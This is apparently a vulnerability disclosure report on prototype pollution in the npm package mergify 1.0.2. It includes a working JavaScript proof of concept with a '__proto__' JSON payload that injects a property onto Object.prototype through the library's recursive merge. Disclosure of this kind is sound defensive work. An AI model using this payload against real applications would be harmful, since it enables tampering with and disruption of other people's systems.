How it was found

Hi team, I would like to report a prototype pollution vulnerability in mergify that allows an attacker to inject properties on Object.prototype.

Module

module name: mergify version: 1.0.2 npm page: https://www.npmjs.com/package/mergify

Module Description

Merge objects deeply

Vulnerability

Vulnerability Description

this vulnerability type is similar to my report #438274 mergify is vulnerable when it performs a recursive copy of the specified objects.

Steps To Reproduce:

In the following code snippet, "payload" would come from user-input (JSON data).

var mergify= require('mergify');
var payload = '{"__proto__":{"polluted":"mergify_done !"}}';
var test = {};
console.log("Before: ", test.polluted);
mergify({},JSON.parse(payload));
console.log("After: ", test.polluted);

# Wrap up
- I contacted the maintainer to let them know: [Y/N] 
- I opened an issue in the related repository: [Y/N] 

Thanks!

## Impact

It causes Denial of Service or RCE in some cases.